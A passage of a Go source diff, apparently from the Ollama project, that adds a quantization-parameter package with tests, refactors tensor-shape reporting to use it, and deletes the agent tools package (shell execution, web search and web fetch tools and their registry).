Bits(quantType string) int { + if p, ok := byType[Canonical(quantType)]; ok { + return p.bits + } + return 0 +} + +// PackFactor returns how many quantized values are packed into one 32-bit +// word, or 0 for an empty or unrecognized type. MLX stores quantized weights +// packed into U32 words, so a tensor's logical last dimension is its stored +// last dimension times this factor. +func PackFactor(quantType string) int { + if b := Bits(quantType); b > 0 { + return 32 / b + } + return 0 +} diff --git a/x/quant/quant_test.go b/x/quant/quant_test.go new file mode 100644 index 000000000..81a9d3e74 --- /dev/null +++ b/x/quant/quant_test.go @@ -0,0 +1,58 @@ +package quant + +import "testing" + +func TestParams(t *testing.T) { + tests := []struct { + in string + groupSize int + bits int + mode string + }{ + {"nvfp4", 16, 4, "nvfp4"}, + {"NVFP4", 16, 4, "nvfp4"}, + {"mxfp4", 32, 4, "mxfp4"}, + {"mxfp8", 32, 8, "mxfp8"}, + {"int4", 64, 4, "affine"}, + {"int8", 64, 8, "affine"}, + {"fp4", 64, 4, "affine"}, + {"q4", 64, 4, "affine"}, + {"fp8", 64, 8, "affine"}, + {"q8", 64, 8, "affine"}, + {"", 0, 0, ""}, + // Unknown non-empty types fall back to 8-bit affine, matching the + // runtime loader's historical behavior. + {"something-else", 32, 8, "affine"}, + } + for _, tt := range tests { + gs, bits, mode := Params(tt.in) + if gs != tt.groupSize || bits != tt.bits || mode != tt.mode { + t.Errorf("Params(%q) = (%d, %d, %q), want (%d, %d, %q)", tt.in, gs, bits, mode, tt.groupSize, tt.bits, tt.mode) + } + } +} + +func TestBitsAndPackFactor(t *testing.T) { + tests := []struct { + in string + bits int + packFactor int + }{ + {"int4", 4, 8}, + {"nvfp4", 4, 8}, + {"mxfp4", 4, 8}, // regression: mxfp4 was missing from the old show.go switch + {"int8", 8, 4}, + {"mxfp8", 8, 4}, + {"FP8", 8, 4}, + {"", 0, 0}, + {"unknown", 0, 0}, // strict: no fallback for sizing/display + } + for _, tt := range tests { + if got := Bits(tt.in); got != tt.bits { + t.Errorf("Bits(%q) = %d, want %d", tt.in, got, tt.bits) + } + if got := PackFactor(tt.in); got != tt.packFactor { + t.Errorf("PackFactor(%q) = %d, want %d", tt.in, got, tt.packFactor) + } + } +} diff --git a/x/server/show.go b/x/server/show.go index a8781b37b..f1985e3f2 100644 --- a/x/server/show.go +++ b/x/server/show.go @@ -13,6 +13,7 @@ import ( "github.com/ollama/ollama/api" "github.com/ollama/ollama/manifest" "github.com/ollama/ollama/types/model" + "github.com/ollama/ollama/x/quant" ) func canonicalQuantType(quantType string) string { @@ -267,13 +268,10 @@ func getTensorInfoFromManifest(mf *manifest.Manifest) ([]api.Tensor, error) { shape[i] = uint64(s) } - var packFactor int64 - switch strings.ToLower(info.QuantType) { - case "int4", "nvfp4": - packFactor = 8 - case "int8", "mxfp8": - packFactor = 4 - } + // Quantized weights are packed into U32 words; report the + // logical unpacked shape. PackFactor covers every quant type + // the engine produces (including mxfp4) from one table. + packFactor := int64(quant.PackFactor(info.QuantType)) if packFactor > 0 && len(shape) >= 2 { shape[len(shape)-1] = uint64(info.Shape[len(info.Shape)-1] * packFactor) } @@ -363,14 +361,7 @@ func GetSafetensorsDtype(name model.Name) (string, error) { } func quantTypePrecision(quantType string) int { - switch canonicalQuantType(quantType) { - case "int4", "nvfp4", "mxfp4": - return 4 - case "int8", "mxfp8": - return 8 - default: - return 0 - } + return quant.Bits(quantType) } // safetensorsTensorInfo holds metadata about a tensor from a safetensors header diff --git a/x/tools/bash.go b/x/tools/bash.go deleted file mode 100644 index fe56df81c..000000000 --- a/x/tools/bash.go +++ /dev/null @@ -1,114 +0,0 @@ -package tools - -import ( - "bytes" - "context" - "fmt" - "os/exec" - "strings" - "time" - - "github.com/ollama/ollama/api" -) - -const ( - // bashTimeout is the maximum execution time for a command. - bashTimeout = 60 * time.Second - // maxOutputSize is the maximum output size in bytes. - maxOutputSize = 50000 -) - -// BashTool implements shell command execution. -type BashTool struct{} - -// Name returns the tool name. -func (b *BashTool) Name() string { - return "bash" -} - -// Description returns a description of the tool. -func (b *BashTool) Description() string { - return "Execute a bash command on the system. Use this to run shell commands, check files, run programs, etc." -} - -// Schema returns the tool's parameter schema. -func (b *BashTool) Schema() api.ToolFunction { - props := api.NewToolPropertiesMap() - props.Set("command", api.ToolProperty{ - Type: api.PropertyType{"string"}, - Description: "The bash command to execute", - }) - return api.ToolFunction{ - Name: b.Name(), - Description: b.Description(), - Parameters: api.ToolFunctionParameters{ - Type: "object", - Properties: props, - Required: []string{"command"}, - }, - } -} - -// Execute runs the bash command. -func (b *BashTool) Execute(args map[string]any) (string, error) { - command, ok := args["command"].(string) - if !ok || command == "" { - return "", fmt.Errorf("command parameter is required") - } - - // Create context with timeout - ctx, cancel := context.WithTimeout(context.Background(), bashTimeout) - defer cancel() - - // Execute command - cmd := exec.CommandContext(ctx, "bash", "-c", command) - - var stdout, stderr bytes.Buffer - cmd.Stdout = &stdout - cmd.Stderr = &stderr - - err := cmd.Run() - - // Build output - var sb strings.Builder - - // Add stdout - if stdout.Len() > 0 { - output := stdout.String() - if len(output) > maxOutputSize { - output = output[:maxOutputSize] + "\n... (output truncated)" - } - sb.WriteString(output) - } - - // Add stderr if present - if stderr.Len() > 0 { - stderrOutput := stderr.String() - if len(stderrOutput) > maxOutputSize { - stderrOutput = stderrOutput[:maxOutputSize] + "\n... (stderr truncated)" - } - if sb.Len() > 0 { - sb.WriteString("\n") - } - sb.WriteString("stderr:\n") - sb.WriteString(stderrOutput) - } - - // Handle errors - if err != nil { - if ctx.Err() == context.DeadlineExceeded { - return sb.String() + "\n\nError: command timed out after 60 seconds", nil - } - // Include exit code in output but don't return as error - if exitErr, ok := err.(*exec.ExitError); ok { - return sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), nil - } - return sb.String(), fmt.Errorf("executing command: %w", err) - } - - if sb.Len() == 0 { - return "(no output)", nil - } - - return sb.String(), nil -} diff --git a/x/tools/registry.go b/x/tools/registry.go deleted file mode 100644 index 8a43db0dc..000000000 --- a/x/tools/registry.go +++ /dev/null @@ -1,131 +0,0 @@ -// Package tools provides built-in tool implementations for the agent loop. -package tools - -import ( - "fmt" - "os" - "sort" - - "github.com/ollama/ollama/api" -) - -// Tool defines the interface for agent tools. -type Tool interface { - // Name returns the tool's unique identifier. - Name() string - // Description returns a human-readable description of what the tool does. - Description() string - // Schema returns the tool's parameter schema for the LLM. - Schema() api.ToolFunction - // Execute runs the tool with the given arguments. - Execute(args map[string]any) (string, error) -} - -// Registry manages available tools. -type Registry struct { - tools map[string]Tool -} - -// NewRegistry creates a new tool registry. -func NewRegistry() *Registry { - return &Registry{ - tools: make(map[string]Tool), - } -} - -// Register adds a tool to the registry. -func (r *Registry) Register(tool Tool) { - r.tools[tool.Name()] = tool -} - -// Unregister removes a tool from the registry by name. -func (r *Registry) Unregister(name string) { - delete(r.tools, name) -} - -// Has checks if a tool with the given name is registered. -func (r *Registry) Has(name string) bool { - _, ok := r.tools[name] - return ok -} - -// RegisterBash adds the bash tool to the registry. -func (r *Registry) RegisterBash() { - r.Register(&BashTool{}) -} - -// RegisterWebSearch adds the web search tool to the registry. -func (r *Registry) RegisterWebSearch() { - r.Register(&WebSearchTool{}) -} - -// RegisterWebFetch adds the web fetch tool to the registry. -func (r *Registry) RegisterWebFetch() { - r.Register(&WebFetchTool{}) -} - -// Get retrieves a tool by name. -func (r *Registry) Get(name string) (Tool, bool) { - tool, ok := r.tools[name] - return tool, ok -} - -// Tools returns all registered tools in Ollama API format, sorted by name. -func (r *Registry) Tools() api.Tools { - // Get sorted names for deterministic ordering - names := make([]string, 0, len(r.tools)) - for name := range r.tools { - names = append(names, name) - } - sort.Strings(names) - - var tools api.Tools - for _, name := range names { - tool := r.tools[name] - tools = append(tools, api.Tool{ - Type: "function", - Function: tool.Schema(), - }) - } - return tools -} - -// Execute runs a tool call and returns the result. -func (r *Registry) Execute(call api.ToolCall) (string, error) { - tool, ok := r.tools[call.Function.Name] - if !ok { - return "", fmt.Errorf("unknown tool: %s", call.Function.Name) - } - return tool.Execute(call.Function.Arguments.ToMap()) -} - -// Names returns the names of all registered tools, sorted alphabetically. -func (r *Registry) Names() []string { - names := make([]string, 0, len(r.tools)) - for name := range r.tools { - names = append(names, name) - } - sort.Strings(names) - return names -} - -// Count returns the number of registered tools. -func (r *Registry) Count() int { - return len(r.tools) -} - -// DefaultRegistry creates a registry with all built-in tools. -// Tools can be disabled via environment variables: -// - OLLAMA_AGENT_DISABLE_WEBSEARCH=1 disables web_search -// - OLLAMA_AGENT_DISABLE_BASH=1 disables bash -func DefaultRegistry() *Registry { - r := NewRegistry() - // TODO(parthsareen): re-enable web search once it's ready for release - // if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" { - // r.Register(&WebSearchTool{}) - // } - if os.Getenv("OLLAMA_AGENT_DISABLE_BASH") == "" { - r.Register(&BashTool{}) - } - return r -} diff --git a/x/tools/registry_test.go b/x/tools/registry_test.go deleted file mode 100644 index 959b3d542..000000000 --- a/x/tools/registry_test.go +++ /dev/null @@ -1,223 +0,0 @@ -package tools - -import ( - "testing" - - "github.com/ollama/ollama/api" -) - -func TestRegistry_Register(t *testing.T) { - r := NewRegistry() - - r.Register(&BashTool{}) - r.Register(&WebSearchTool{}) - - if r.Count() != 2 { - t.Errorf("expected 2 tools, got %d", r.Count()) - } - - names := r.Names() - if len(names) != 2 { - t.Errorf("expected 2 names, got %d", len(names)) - } -} - -func TestRegistry_Get(t *testing.T) { - r := NewRegistry() - r.Register(&BashTool{}) - - tool, ok := r.Get("bash") - if !ok { - t.Fatal("expected to find bash tool") - } - - if tool.Name() != "bash" { - t.Errorf("expected name 'bash', got '%s'", tool.Name()) - } - - _, ok = r.Get("nonexistent") - if ok { - t.Error("expected not to find nonexistent tool") - } -} - -func TestRegistry_Tools(t *testing.T) { - r := NewRegistry() - r.Register(&BashTool{}) - r.Register(&WebSearchTool{}) - - tools := r.Tools() - if len(tools) != 2 { - t.Errorf("expected 2 tools, got %d", len(tools)) - } - - for _, tool := range tools { - if tool.Type != "function" { - t.Errorf("expected type 'function', got '%s'", tool.Type) - } - } -} - -func TestRegistry_Execute(t *testing.T) { - r := NewRegistry() - r.Register(&BashTool{}) - - // Test successful execution - args := api.NewToolCallFunctionArguments() - args.Set("command", "echo hello") - result, err := r.Execute(api.ToolCall{ - Function: api.ToolCallFunction{ - Name: "bash", - Arguments: args, - }, - }) - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - if result != "hello\n" { - t.Errorf("expected 'hello\\n', got '%s'", result) - } - - // Test unknown tool - _, err = r.Execute(api.ToolCall{ - Function: api.ToolCallFunction{ - Name: "unknown", - Arguments: api.NewToolCallFunctionArguments(), - }, - }) - if err == nil { - t.Error("expected error for unknown tool") - } -} - -func TestDefaultRegistry(t *testing.T) { - r := DefaultRegistry() - - if r.Count() != 1 { - t.Errorf("expected 1 tool in default registry, got %d", r.Count()) - } - - _, ok := r.Get("bash") - if !ok { - t.Error("expected bash tool in default registry") - } -} - -func TestDefaultRegistry_DisableWebsearch(t *testing.T) { - t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "1") - - r := DefaultRegistry() - - if r.Count() != 1 { - t.Errorf("expected 1 tool with websearch disabled, got %d", r.Count()) - } - - _, ok := r.Get("bash") - if !ok { - t.Error("expected bash tool in registry") - } - - _, ok = r.Get("web_search") - if ok { - t.Error("expected web_search to be disabled") - } -} - -func TestDefaultRegistry_DisableBash(t *testing.T) { - t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "1") - - r := DefaultRegistry() - - if r.Count() != 0 { - t.Errorf("expected 0 tools with bash disabled, got %d", r.Count()) - } -} - -func TestDefaultRegistry_DisableBoth(t *testing.T) { - t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "1") - t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "1") - - r := DefaultRegistry() - - if r.Count() != 0 { - t.Errorf("expected 0 tools with both disabled, got %d", r.Count()) - } -} - -func TestBashTool_Schema(t *testing.T) { - tool := &BashTool{} - - schema := tool.Schema() - if schema.Name != "bash" { - t.Errorf("expected name 'bash', got '%s'", schema.Name) - } - - if schema.Parameters.Type != "object" { - t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type) - } - - if _, ok := schema.Parameters.Properties.Get("command"); !ok { - t.Error("expected 'command' property in schema") - } -} - -func TestWebSearchTool_Schema(t *testing.T) { - tool := &WebSearchTool{} - - schema := tool.Schema() - if schema.Name != "web_search" { - t.Errorf("expected name 'web_search', got '%s'", schema.Name) - } - - if schema.Parameters.Type != "object" { - t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type) - } - - if _, ok := schema.Parameters.Properties.Get("query"); !ok { - t.Error("expected 'query' property in schema") - } -} - -func TestRegistry_Unregister(t *testing.T) { - r := NewRegistry() - r.Register(&BashTool{}) - - if r.Count() != 1 { - t.Errorf("expected 1 tool, got %d", r.Count()) - } - - r.Unregister("bash") - - if r.Count() != 0 { - t.Errorf("expected 0 tools after unregister, got %d", r.Count()) - } - - _, ok := r.Get("bash") - if ok { - t.Error("expected bash tool to be removed") - } -} - -func TestRegistry_Has(t *testing.T) { - r := NewRegistry() - - if r.Has("bash") { - t.Error("expected Has to return false for unregistered tool") - } - - r.Register(&BashTool{}) - - if !r.Has("bash") { - t.Error("expected Has to return true for registered tool") - } -} - -func TestRegistry_RegisterBash(t *testing.T) { - r := NewRegistry() - - r.RegisterBash() - - if !r.Has("bash") { - t.Error("expected bash tool to be registered") - } -} diff --git a/x/tools/webfetch.go b/x/tools/webfetch.go deleted file mode 100644 index 793e184c2..000000000 --- a/x/tools/webfetch.go +++ /dev/null @@ -1,167 +0,0 @@ -package tools - -import ( - "bytes" - "context" - "encoding/json" - "errors" - "fmt" - "io" - "net/http" - "net/url" - "strconv" - "strings" - "time" - - "github.com/ollama/ollama/api" - "github.com/ollama/ollama/auth" - internalcloud "github.com/ollama/ollama/internal/cloud" -) - -const ( - webFetchAPI = "https://ollama.com/api/web_fetch" - webFetchTimeout = 30 * time.Second -) - -// ErrWebFetchAuthRequired is returned when web fetch requires authentication -var ErrWebFetchAuthRequired = errors.New("web fetch requires authentication") - -// WebFetchTool implements web page fetching using Ollama's hosted API. -type WebFetchTool struct{} - -// Name returns the tool name. -func (w *WebFetchTool) Name() string { - return "web_fetch" -} - -// Description returns a description of the tool. -func (w *WebFetchTool) Description() string { - return "Fetch and extract text content from a web page. Use this to read the full content of a URL found in search results or provided by the user." -} - -// Schema returns the tool's parameter schema. -func (w *WebFetchTool) Schema() api.ToolFunction { - props := api.NewToolPropertiesMap() - props.Set("url", api.ToolProperty{ - Type: api.PropertyType{"string"}, - Description: "The URL to fetch and extract content from", - }) - return api.ToolFunction{ - Name: w.Name(), - Description: w.Description(), - Parameters: api.ToolFunctionParameters{ - Type: "object", - Properties: props, - Required: []string{"url"}, - }, - } -} - -// webFetchRequest is the request body for the web fetch API. -type webFetchRequest struct { - URL string `json:"url"` -} - -// webFetchResponse is the response from the web fetch API. -type webFetchResponse struct { - Title string `json:"title"` - Content string `json:"content"` - Links []string `json:"links,omitempty"` -} - -// Execute fetches content from a web page. -// Uses Ollama key signing for authentication - this makes requests via ollama.com API. -func (w *WebFetchTool) Execute(args map[string]any) (string, error) { - if internalcloud.Disabled() { - return "", errors.New(internalcloud.DisabledError("web fetch is unavailable")) - } - - urlStr, ok := args["url"].(string) - if !ok || urlStr == "" { - return "", fmt.Errorf("url parameter is required") - } - - // Validate URL - if _, err := url.Parse(urlStr); err != nil { - return "", fmt.Errorf("invalid URL: %w", err) - } - - // Prepare request - reqBody := webFetchRequest{ - URL: urlStr, - } - - jsonBody, err := json.Marshal(reqBody) - if err != nil { - return "", fmt.Errorf("marshaling request: %w", err) - } - - // Parse URL and add timestamp for signing - fetchURL, err := url.Parse(webFetchAPI) - if err != nil { - return "", fmt.Errorf("parsing fetch URL: %w", err) - } - - q := fetchURL.Query() - q.Add("ts", strconv.FormatInt(time.Now().Unix(), 10)) - fetchURL.RawQuery = q.Encode() - - // Sign the request using Ollama key (~/.ollama/id_ed25519) - ctx := context.Background() - data := fmt.Appendf(nil, "%s,%s", http.MethodPost, fetchURL.RequestURI()) - signature, err := auth.Sign(ctx, data) - if err != nil { - return "", fmt.Errorf("signing request: %w", err) - } - - req, err := http.NewRequestWithContext(ctx, http.MethodPost, fetchURL.String(), bytes.NewBuffer(jsonBody)) - if err != nil { - return "", fmt.Errorf("creating request: %w", err) - } - - req.Header.Set("Content-Type", "application/json") - if signature != "" { - req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature)) - } - - // Send request - client := &http.Client{Timeout: webFetchTimeout} - resp, err := client.Do(req) - if err != nil { - return "", fmt.Errorf("sending request: %w", err) - } - defer resp.Body.Close() - - body, err := io.ReadAll(resp.Body) - if err != nil { - return "", fmt.Errorf("reading response: %w", err) - } - - if resp.StatusCode == http.StatusUnauthorized { - return "", ErrWebFetchAuthRequired - } - if resp.StatusCode != http.StatusOK { - return "", fmt.Errorf("web fetch API returned status %d: %s", resp.StatusCode, string(body)) - } - - // Parse response - var fetchResp webFetchResponse - if err := json.Unmarshal(body, &fetchResp); err != nil { - return "", fmt.Errorf("parsing response: %w", err) - } - - // Format result - var sb strings.Builder - if fetchResp.Title != "" { - sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title)) - } - - if fetchResp.Content != "" { - sb.WriteString("Content:\n") - sb.WriteString(fetchResp.Content) - } else { - sb.WriteString("No content could be extracted from the page.") - } - - return sb.String(), nil -} diff --git a/x/tools/websearch.go b/x/tools/websearch.go deleted file mode 100644 index 1da124af8..000000000 --- a/x/tools/websearch.go +++ /dev/null @@ -1,180 +0,0 @@ -package tools - -import ( - "bytes" - "context" - "encoding/json" - "errors" - "fmt" - "io" - "net/http" - "net/url" - "strconv" - "strings" - "time" - - "github.com/ollama/ollama/api" - "github.com/ollama/ollama/auth" - internalcloud "github.com/ollama/ollama/internal/cloud" -) - -const ( - webSearchAPI = "https://ollama.com/api/web_search" - webSearchTimeout = 15 * time.Second -) - -// ErrWebSearchAuthRequired is returned when web search requires authentication -var ErrWebSearchAuthRequired = errors.New("web search requires authentication") - -// WebSearchTool implements web search using Ollama's hosted API. -type WebSearchTool struct{} - -// Name returns the tool name. -func (w *WebSearchTool) Name() string { - return "web_search" -} - -// Description returns a description of the tool. -func (w *WebSearchTool) Description() string { - return "Search the web for current information. Use this when you need up-to-date information that may not be in your training data." -} - -// Schema returns the tool's parameter schema. -func (w *WebSearchTool) Schema() api.ToolFunction { - props := api.NewToolPropertiesMap() - props.Set("query", api.ToolProperty{ - Type: api.PropertyType{"string"}, - Description: "The search query to look up on the web", - }) - return api.ToolFunction{ - Name: w.Name(), - Description: w.Description(), - Parameters: api.ToolFunctionParameters{ - Type: "object", - Properties: props, - Required: []string{"query"}, - }, - } -} - -// webSearchRequest is the request body for the web search API. -type webSearchRequest struct { - Query string `json:"query"` - MaxResults int `json:"max_results,omitempty"` -} - -// webSearchResponse is the response from the web search API. -type webSearchResponse struct { - Results []webSearchResult `json:"results"` -} - -// webSearchResult is a single search result. -type webSearchResult struct { - Title string `json:"title"` - URL string `json:"url"` - Content string `json:"content"` -} - -// Execute performs the web search. -// Uses Ollama key signing for authentication - this makes requests via ollama.com API. -func (w *WebSearchTool) Execute(args map[string]any) (string, error) { - if internalcloud.Disabled() { - return "", errors.New(internalcloud.DisabledError("web search is unavailable")) - } - - query, ok := args["query"].(string) - if !ok || query == "" { - return "", fmt.Errorf("query parameter is required") - } - - // Prepare request - reqBody := webSearchRequest{ - Query: query, - MaxResults: 5, - } - - jsonBody, err := json.Marshal(reqBody) - if err != nil { - return "", fmt.Errorf("marshaling request: %w", err) - } - - // Parse URL and add timestamp for signing - searchURL, err := url.Parse(webSearchAPI) - if err != nil { - return "", fmt.Errorf("parsing search URL: %w", err) - } - - q := searchURL.Query() - q.Add("ts", strconv.FormatInt(time.Now().Unix(), 10)) - searchURL.RawQuery = q.Encode() - - // Sign the request using Ollama key (~/.ollama/id_ed25519) - // This authenticates with ollama.com using the local signing key - ctx := context.Background() - data := fmt.Appendf(nil, "%s,%s", http.MethodPost, searchURL.RequestURI()) - signature, err := auth.Sign(ctx, data) - if err != nil { - return "", fmt.Errorf("signing request: %w", err) - } - - req, err := http.NewRequestWithContext(ctx, http.MethodPost, searchURL.String(), bytes.NewBuffer(jsonBody)) - if err != nil { - return "", fmt.Errorf("creating request: %w", err) - } - - req.Header.Set("Content-Type", "application/json") - if signature != "" { - req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature)) - } - - // Send request - client := &http.Client{Timeout: webSearchTimeout} - resp, err := client.Do(req) - if err != nil { - return "", fmt.Errorf("sending request: %w", err) - } - defer resp.Body.Close() - - body, err := io.ReadAll(resp.Body) - if err != nil { - return "", fmt.Errorf("reading response: %w", err) - } - - if resp.StatusCode == http.StatusUnauthorized { - return "", ErrWebSearchAuthRequired - } - if resp.StatusCode != http.StatusOK { - return "", fmt.Errorf("web search API returned status %d: %s", resp.StatusCode, string(body)) - } - - // Parse response - var searchResp webSearchResponse - if err := json.Unmarshal(body, &searchResp); err != nil { - return "", fmt.Errorf("parsing response: %w", err) - } - - // Format results - if len(searchResp.Results) == 0 { - return "No results found for query: " + query, nil - } - - var sb strings.Builder - sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query)) - - for i, result := range searchResp.Results { - sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title)) - sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL)) - if result.Content != "" { - // Truncate long content (UTF-8 safe) - content := result.Content - runes := []rune(content) - if len(runes) > 300 { - content = string(runes[:300]) + "..." - } - sb.WriteString(fmt.Sprintf(" %s\n", content)) - } - sb.WriteString("\n") - } - - return sb.String(), nil -} diff --git a/x/tools/websearch_test.go b/x/tools/websearch_test.go deleted file mode 100644 index 8f5774728..000000000 --- a/x/tools/websearch_test.go +++ /dev/null @@ -1,58 +0,0 @@ -package tools - -import ( - "errors" - "testing" -) - -func TestWebSearchTool_Name(t *testing.T) { - tool := &WebSearchTool{} - if tool.Name() != "web_search" { - t.Errorf("expected name 'web_search', got '%s'", tool.Name()) - } -} - -func TestWebSearchTool_Description(t *testing.T) { - tool := &WebSearchTool{} - if tool.Description() == "" { - t.Error("expected non-empty description") - } -} - -func TestWebSearchTool_Execute_MissingQuery(t *testing.T) { - tool := &WebSearchTool{} - - // Test with no query - _, err := tool.Execute(map[string]any{}) - if err == nil { - t.Error("expected error for missing query") - } - - // Test with empty query - _, err = tool.Execute(map[string]any{"query": ""}) - if err == nil { - t.Error("expected error for empty query") - } -} - -func TestErrWebSearchAuthRequired(t *testing.T) { - // Test that the error type exists and can be checked with errors.Is - err := ErrWebSearchAuthRequired - if err == nil { - t.Fatal("ErrWebSearchAuthRequired should not be nil") - } - - if err.Error() != "web search requires authentication" { - t.Errorf("unexpected error message: %s", err.Error()) - } - - // Test that errors.Is works - wrappedErr := errors.New("wrapped: " + err.Error()) - if errors.Is(wrappedErr, ErrWebSearchAuthRequired) { - t.Error("wrapped error should not match with errors.Is") - } - - if !errors.Is(ErrWebSearchAuthRequired, ErrWebSearchAuthRequired) { - t.Error("ErrWebSearchAuthRequired should match itself with errors.Is") - } -}